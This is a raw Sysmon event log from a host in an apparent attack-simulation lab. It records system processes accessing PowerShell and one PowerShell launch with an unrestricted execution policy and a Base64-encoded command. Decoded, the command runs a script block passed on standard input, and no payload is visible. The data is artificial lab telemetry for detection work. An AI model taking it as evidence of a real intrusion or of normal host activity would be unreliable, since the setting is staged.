09:10:26.663{A5F018FF-28BD-5F80-0B00-000000007F01}868908C:\Windows\system32\lsass.exe{A5F018FF-2902-5F80-9E00-000000007F01}4200C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|C:\Windows\system32\lsasrv.dll+25add|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 11241100x80000000000000003178Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:26.632{A5F018FF-2902-5F80-9E00-000000007F01}4200C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Users\Administrator\AppData\Local\Temp\__PSScriptPolicyTest_kxum1m4y.ud0.ps12020-10-09 09:10:26.632 10341000x80000000000000003177Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:26.616{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-2902-5F80-9E00-000000007F01}4200C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5296|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003176Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:26.585{A5F018FF-2902-5F80-9B00-000000007F01}43042660C:\Windows\system32\conhost.exe{A5F018FF-2902-5F80-9E00-000000007F01}4200C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003175Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:26.585{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003174Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:26.585{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003173Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:26.585{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003172Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:26.585{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003171Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:26.585{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003170Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:26.585{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003169Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:26.585{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003168Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:26.585{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003167Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:26.585{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003166Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:26.585{A5F018FF-28BC-5F80-0500-000000007F01}6441148C:\Windows\system32\csrss.exe{A5F018FF-2902-5F80-9E00-000000007F01}4200C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000003165Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:26.585{A5F018FF-2902-5F80-9D00-000000007F01}42324148C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe{A5F018FF-2902-5F80-9E00-000000007F01}4200C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+3332f6|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b5560|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b4f07|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fdb7331b(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd0141a5(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd013e76(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fdac54db(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fcfd4a0c(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd032edb(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd016540(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd016540(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd0163d1(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd008356(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd014889(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd01447c(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd0141a5(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd013e76(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fdac54db(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fcffacd7(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fcffa2a7(wow64) 154100x80000000000000003164Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:26.596{A5F018FF-2902-5F80-9E00-000000007F01}4200C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe10.0.14393.206 (rs1_release.160915-0644)Windows PowerShellMicrosoft® Windows® Operating SystemMicrosoft CorporationPowerShell.EXE"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA==C:\Users\Administrator\ATTACKRANGE\Administrator{A5F018FF-2902-5F80-76B0-050000000000}0x5b0760HighMD5=097CE5761C89434367598B34FE32893B,SHA256=BA4038FD20E474C047BE8AAD5BFACDB1BFC1DDBE12F803F473B7918D8D819436,IMPHASH=CAEE994F79D85E47C06E5FA9CDEAE453{A5F018FF-2902-5F80-9D00-000000007F01}4232C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exePowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= 10341000x80000000000000003163Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:26.538{A5F018FF-28BD-5F80-0B00-000000007F01}868908C:\Windows\system32\lsass.exe{A5F018FF-2902-5F80-9D00-000000007F01}4232C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+25d17|C:\Windows\system32\lsasrv.dll+26ded|C:\Windows\system32\lsasrv.dll+25b95|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003162Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:26.538{A5F018FF-28BD-5F80-0B00-000000007F01}868908C:\Windows\system32\lsass.exe{A5F018FF-2902-5F80-9D00-000000007F01}4232C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|C:\Windows\system32\lsasrv.dll+25add|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 11241100x80000000000000003161Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:26.506{A5F018FF-2902-5F80-9D00-000000007F01}4232C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Users\Administrator\AppData\Local\Temp\__PSScriptPolicyTest_qm3a2djz.5cl.ps12020-10-09 09:10:26.506 